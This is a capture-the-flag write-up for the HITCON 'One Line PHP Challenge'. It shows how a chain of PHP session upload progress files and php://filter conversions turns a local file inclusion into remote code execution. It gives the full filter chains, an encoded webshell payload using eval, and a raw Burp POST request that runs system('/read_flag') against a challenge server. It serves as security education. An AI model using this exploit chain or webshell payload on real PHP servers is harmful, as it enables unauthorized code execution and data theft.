## One Line PHP Challenge ### Source code ![](https://i.imgur.com/iZ9iR9c.png) ### New Way (Changed on 2018.12.03) https://hackmd.io/s/rJlfZva0m ### Main idea Because of `allow_url_include=0 `, we can't remotely include files, so the problem solving method of the topic is obvious: Using a local file including to construct a webshell or just including flag file ### First attempt At first, 🍊 did not give the environmental information. I tried a bug that Wang Yihang discovered last year, it causes PHP >=7.0 a segmentfault. ``` https://www.jianshu.com/p/dfd049924258 ``` The poc is ``` php://filter/string.strip_tags/resource=xxx ``` `PS: It is caused by a NULL pointer` The latest version of the local environment `ubuntu16+php7.1(apt-get)` is successful pwned, because the temporary files in `tmp` are not recycled, so you can use local file including to get shell. However, the remote server does not always have an exception. Later, the author suggested that the environment of the topic was `ubuntu18+php7.2`. I opened a cloud host in the corresponding environment and found that this method is unreasonable. There are two reasons: * `PHP7.2` fixed the bug caused by the null pointer * The system version after `ubuntu17` uses systemd to host apache and php-fpm, and the tmp directory is separated. Later, I tried some other PHP native wrappers.But i didn't find a way to solve the problem. Finally, I notice the wrapper `php://` 's filter. The known part of the flag is the `hitcon` (6 bytes) at the beginning, and the required file starts with `@<?php` which is also 6 bytes. I accidentally saw an article when I searched for related knowledge about local file including. ``` https://gynvael.coldwind.pl/?lang=en&id=671 ``` The challenge using filter to encode the flag , so begining bytes are turned into a gif header, then the flag can be read properly. Later I ruled out this method, because even if it is converted to `@<?php`, it will be included as PHP code, and the latter part of flag won't be obtained. ### Get flag Later, when I detected any strange system files in `ubuntu18+PHP7.2`, I found that the `PHP7.2` session file storage path is `/var/lib/php/sessions` . `PHP` downloaded trough `apt-get` is default set to open `session.upload`, so there is a problem-solving direction. Here is an example. ``` https://xz.aliyun.com/t/2148#toc-2 ``` However, there is still a problem to be solved. The progress file generated by `session.upload` starts with `upload_progess_` ![](https://i.imgur.com/7SbddJe.png) So a solution is to use the above mentioned ideas: byte collision, but the complexity of collision 6 bytes is quite large and we should pay attention to the following bytes for avoiding PHP execution errors, the number of bytes required to collide is greater than 6 Bytes, obviously this solution is not working. Here are some `php://` filters which can make data loss ``` string.strip_tags consumed convert.base64-decode (inappropriate use) ``` So I thought we only need to collide the first byte to < (the beginning of the tag), then the controllable part closes it, then use strip_tags once, and then decode the remaining fully controllable content. The range that can be decoded into `<` by `base64` is `PA`-`PP`, and after `rot13` encoding is `CN`-`CC`, so as long as the first two bytes are in any of the above ranges, it can be eventually decoded to `<` The operations we can use are ``` Convert.iconv.* (conversion encoding) Convert.base64-en(de)code String.rot13 ``` And the process must remain reversible, base64decode will lose information if the block is not full or a block has unsolvable characters, so we need to keep the total number of bytes unchanged, the initial data is in the form of block full, base64 operation (encode, decode) requires symmetry. There are two particularly useful code conversions ``` convert.iconv.UCS-2LE.UCS-2BE convert.iconv.UCS-4LE.UCS-4BE ``` Because the data stored in the high and low bits is reversed, it can cause 2 bytes and 4 bytes of reverse operation. The next step is to encode `upload_progress_xx` multiple times to construct a base64 string. If there are `C` or `P` in the first four bytes, and the range of the following bytes is within the range mentioned above, then we can use Two-byte, Four-byte reverse-order operation to promote them to the first byte and the second byte respectively ``` ABCA => ACBA => CAAB ``` Through constant experimentation, I get the following result ``` php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd ``` ![](https://i.imgur.com/kWW4WTC.png) Its corresponding reverse algorithm is ``` php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx ``` Then use reverse algorithm encoding `>`+`(encoded controllable part)`, the controllable part is `@<?php eval(xxx);?>//aaa...` The final encoding method I used here is `convert.iconv.UTF8.CP1025` So the whole data is ```php 'upload_progress_aa'+reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')) ``` After challenge program processing ```php '<balabala...'+'>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...') ``` After filter `strip_tags` ```php iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...') ``` After `convert.iconv.CP1025.UTF8` ```php @<?php eval(xxx);?>//aaa... ``` The following is the process that is needed to construct POC. ```php iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...') ``` ![](https://i.imgur.com/xiPQQbT.png) ```php reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...') ``` ![](https://i.imgur.com/oV3eJ84.png) Poc: ``` data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF ``` Here is the result of this poc. ```php var_dump(file($_GET['orange'])); ``` ![](https://i.imgur.com/5gcZChj.png) The exploit (session.upload+lfi)(using burpsuite bruteforce module) ``` POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1 Host: 54.250.246.238 Proxy-Connection: keep-alive Content-Length: 27912 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: §null§ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17 ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <data info of POC> <long padding (guarantee to generate upload progress file)> ------WebKitFormBoundary2rwkUEtFdqhGMHqV-- ```